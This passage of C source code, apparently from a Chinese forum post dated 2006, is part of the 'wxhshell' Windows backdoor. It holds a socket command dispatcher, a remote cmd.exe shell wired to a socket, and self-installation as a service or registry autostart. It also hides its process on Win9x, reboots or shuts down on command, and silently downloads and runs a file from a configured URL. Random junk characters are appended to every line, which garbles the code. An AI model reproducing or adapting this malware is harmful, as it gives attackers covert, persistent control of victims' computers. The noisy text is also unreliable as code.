    switch(cmd[0]) { +.[\g|G  
  _9:@Vl]Q@  
  // 帮助 xChI ,~i  
  case '?': { `,wu}F85  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PXP`ZLF  
    break; ')+0nPV  
  } QGiAW7b5  
  // 安装 eT"Uxhs-}  
  case 'i': { us?&:L|!=  
    if(Install()) ba@ax3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x}fn 'iUnm  
    else OLq 0V3m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B68H&h]D#'  
    break; 4{9d#[KW  
    } x@P{l&:>  
  // 卸载 6FfOH<\z6i  
  case 'r': { }:iBx  
    if(Uninstall()) NTs;FX~g[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nbofYI$rd&  
    else v4?iOD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Cz YDq  
    break; ~Y5l+EF#  
    } V6iL5&  
  // 显示 wxhshell 所在路径 "oJ(J{Jat  
  case 'p': { eR']#Q46{T  
    char svExeFile[MAX_PATH]; B\j~)vg  
    strcpy(svExeFile,"\n\r"); '(@YK4_M  
      strcat(svExeFile,ExeFile); hJ%1   
        send(wsh,svExeFile,strlen(svExeFile),0); ;mm!0]V  
    break; (J:dK=O@Z  
    } ic6L9>[  
  // 重启 Y5A~E#zw  
  case 'b': { h~HB0^|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ~QG ?k  
    if(Boot(REBOOT)) f F?6j   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +R$?2  
    else { pL oy  
    closesocket(wsh); "5DJu ~  
    ExitThread(0); V7CoZnz  
    } DrS~lTf=>  
    break; ? s} %  
    } t> Q{yw  
  // 关机 ?`sy%G  
  case 'd': { k/&]KYwu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P1 +"v*  
    if(Boot(SHUTDOWN)) XOr fs sj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90 { tIX  
    else { 7u11&(Lz  
    closesocket(wsh); vg%QXaM  
    ExitThread(0); V:K;] h*!  
    }  :,]S}R  
    break; +KK$0pL  
    } >POO-8Q  
  // 获取shell f~& a-  
  case 's': { 5P^U_  
    CmdShell(wsh); _&{%Wc5W~F  
    closesocket(wsh); D\L!F6taS  
    ExitThread(0); Yt1mB[&f^  
    break; N} />rD  
  } 8q_0,>w%  
  // 退出 4-4?IwS  
  case 'x': { G^h_ YjR`*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /MMtTB H  
    CloseIt(wsh); DMgBcP  
    break; Hw_o w?  
    } ^^Lj I  
  // 离开 vd~U@-C=R  
  case 'q': { :=g.o;(/N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *c]KHipUIS  
    closesocket(wsh); <,39_#H?F3  
    WSACleanup(); W04av_u 5  
    exit(1); P;foK)AM  
    break; i&tsYnP2  
        } NXoK@Y  
  } VK .^v<Yo  
  } w-FnE}"l  
ySX/=T:<;  
  // 提示信息 XSD%t8<LO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xe:' 8J6L  
} N)OCSeh  
  } #qL9{P<}  
n E :'Zxj  
  return; (9.yOc4  
} cK}Pf+r>  
{Bs+G/?o/  
// shell模块句柄 O8RzUg&  
int CmdShell(SOCKET sock) xEoip?O?7F  
{ r#h {$iW  
STARTUPINFO si; >[K?fJ$+  
ZeroMemory(&si,sizeof(si)); =:K@zlO:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .P/xs4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +^Jwo)R'b  
PROCESS_INFORMATION ProcessInfo; Xz1c6mX|o  
char cmdline[]="cmd"; 8=H\?4)()Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O k(47nC  
  return 0; c>MY$-PD  
} 3z,2utH  
jb@\i@-  
// 自身启动模式 edN8-P(  
int StartFromService(void) z-Hkz  
{ (&Q)EBdm  
typedef struct U1\MA6pXW  
{ HWtPLlNt  
  DWORD ExitStatus; !LSs9_w  
  DWORD PebBaseAddress; Q_lu`F|  
  DWORD AffinityMask; EVz9WY  
  DWORD BasePriority; ./iXyta  
  ULONG UniqueProcessId; 9eSRCLhgD  
  ULONG InheritedFromUniqueProcessId; /RF%1!M K  
}   PROCESS_BASIC_INFORMATION; 1M+Zkak7p  
el Kx]%k*)  
PROCNTQSIP NtQueryInformationProcess; y9 uVCR  
i7v/A&Rc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~= 9V v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *PcVSEP/0  
@,6ST0xT (  
  HANDLE             hProcess; &wGg6$  
  PROCESS_BASIC_INFORMATION pbi; rt;gC[3\  
vl~%o@*_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HWbBChDF  
  if(NULL == hInst ) return 0; (4ZLpsbJ  
aJQXJ,>Lv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = o+7xom  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @^HwrwRA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RK3.-  
fk\5D[j^  
  if (!NtQueryInformationProcess) return 0; 6aSM*S)  
_h~p:=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q!) z)-hI  
  if(!hProcess) return 0; bw;iz ,Z  
1}DerX6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :|($,3*  
It\BbG=  
  CloseHandle(hProcess); /'`6 ; uRN  
7jR7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rG5i-'  
if(hProcess==NULL) return 0; Ys+N,:#R  
yA0Y 14\*  
HMODULE hMod; E 8^sy*f  
char procName[255]; 6=BZ~ed  
unsigned long cbNeeded; {.#j1r4J`  
!G>(j   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C zpsqTQ  
B%(K0`G#X  
  CloseHandle(hProcess); Fj3^ #ly  
g`{Dxb,t  
if(strstr(procName,"services")) return 1; // 以服务启动 |@q9{h7  
B{4"$Mi  
  return 0; // 注册表启动 xOgq-@`  
} (WkTQRcN,  
JchA=n  
// 主模块 SNxz*`@4  
int StartWxhshell(LPSTR lpCmdLine) jqqaw  
{ jQ^Yj"6  
  SOCKET wsl; :%>oe> _"  
BOOL val=TRUE; yI *M[0  
  int port=0; , Z4p0M  
  struct sockaddr_in door; !r2}59 J  
=_pmy>_z  
  if(wscfg.ws_autoins) Install(); .Wh6(LDY(  
Q%$i@JH`m  
port=atoi(lpCmdLine); dc)wu]  
J;"nm3[.q  
if(port<=0) port=wscfg.ws_port; \|Y{jG<cu  
+E)e1 :8  
  WSADATA data; {;;eOxOP|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \hu':@}  
8}J(c=4Gk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .8%vd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?^eJ:  
  door.sin_family = AF_INET; f0g6g!&gf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =X<)5IS3  
  door.sin_port = htons(port); xz="|HD);  
BMe72  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { myffYK,  
closesocket(wsl); T+3k$G[e/  
return 1; a\Tr!Be,  
} bL#sn_(m  
J;7s/YH^  
  if(listen(wsl,2) == INVALID_SOCKET) { @b8X%0B7  
closesocket(wsl); 9PWm@ Nlf  
return 1; u`nt\OF  
} '|J)ds  
  Wxhshell(wsl); ,%.:g65%  
  WSACleanup(); a?l_-Fi  
!HbqbS22  
return 0; c-v*4b/d  
(PyTq 5:F  
} !;ZBL;qY9  
6@i|Kw(:  
// 以NT服务方式启动 ~}Kp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0LZ=`tI  
{ [Aa[&RX+9  
DWORD   status = 0; +q$xw}+PK  
  DWORD   specificError = 0xfffffff; _ Eszr(zJ  
j #4+-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P~n8EO1r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CuF%[9[cT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,,zd.9n  
  serviceStatus.dwWin32ExitCode     = 0; (c  u'  
  serviceStatus.dwServiceSpecificExitCode = 0; !7ph,/P$7  
  serviceStatus.dwCheckPoint       = 0; C8! 8u?k  
  serviceStatus.dwWaitHint       = 0; f&+XPd %  
k{zs578h2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7=; D0SS  
  if (hServiceStatusHandle==0) return; t@l(xnsV  
.Gjr`6R  
status = GetLastError(); dw'<"+zO  
  if (status!=NO_ERROR) 6sO  
{ 5~v(AB(x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .ou!g&xu  
    serviceStatus.dwCheckPoint       = 0; Qd 9-u)L<  
    serviceStatus.dwWaitHint       = 0; "m wl-=  
    serviceStatus.dwWin32ExitCode     = status; >SY 2LmV'a  
    serviceStatus.dwServiceSpecificExitCode = specificError; F]/L!   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1kbT@  
    return; f%`*ba" v  
  } \Ac}R'  
TW'E99wG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TXZ(mj?  
  serviceStatus.dwCheckPoint       = 0; CM+F7#T?n  
  serviceStatus.dwWaitHint       = 0; A73V6"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l{M;PaJ`}  
} 82G lbd)  
fho=<|-  
// 处理NT服务事件,比如:启动、停止 8<E!rn-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4r68`<mn[  
{ 6M O|s1zk  
switch(fdwControl) 3ybK6!g`[  
{ @&!=m]D*  
case SERVICE_CONTROL_STOP: ~.\73_M=A  
  serviceStatus.dwWin32ExitCode = 0; <XkkYI(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,6S_&<{  
  serviceStatus.dwCheckPoint   = 0; o|zrD~&$  
  serviceStatus.dwWaitHint     = 0; JL}hOBqfI  
  { chvrHvByS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4*@G&v?n  
  } .( TQ5/ ~  
  return; uW\@x4  
case SERVICE_CONTROL_PAUSE: GoGohsj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~`nm<   
  break; =;'ope(?S  
case SERVICE_CONTROL_CONTINUE: tdMP,0u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,yB?~  
  break; "ZA$"^  
case SERVICE_CONTROL_INTERROGATE: B,BOzpb(  
  break; 9 AQ96  
}; E|F!S(.:,M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N'lGA;}i  
} J};u25:}  
A{DIp+  
// 标准应用程序主函数 WI*^+E&=*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c%xED%X9  
{ F]URf&U  
9^#zxmH)  
// 获取操作系统版本 pXpLL_  
OsIsNt=GetOsVer(); JxMyeo%gv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -z>Z0viA  
5WtQwN~  
  // 从命令行安装 (R;) 9I\  
  if(strpbrk(lpCmdLine,"iI")) Install(); {UV<=R,E  
Lic{'w&  
  // 下载执行文件 <Y}"D Yt  
if(wscfg.ws_downexe) { Ti9:'I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y:tW]   
  WinExec(wscfg.ws_filenam,SW_HIDE); Allt]P>  
} MHpL$g=5_  
%~~z96(  
if(!OsIsNt) { *<|~=*Ddf  
// 如果时win9x,隐藏进程并且设置为注册表启动 pAUfG^v  
HideProc(); 2m)kyQ  
StartWxhshell(lpCmdLine); 36x5q 1  
} .dg 4gr\D  
else xy-$v   
  if(StartFromService()) #G[ *2h~99  
  // 以服务方式启动 s&_IWala  
  StartServiceCtrlDispatcher(DispatchTable); +[ZMrTW!0C  
else N>cp>&jV  
  // 普通方式启动 oneSgJ  
  StartWxhshell(lpCmdLine); I;Z`!u:+  
>~^mIu_BH  
return 0; 2heWE  
}
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只看该作者 1 发表于: 2006-10-10
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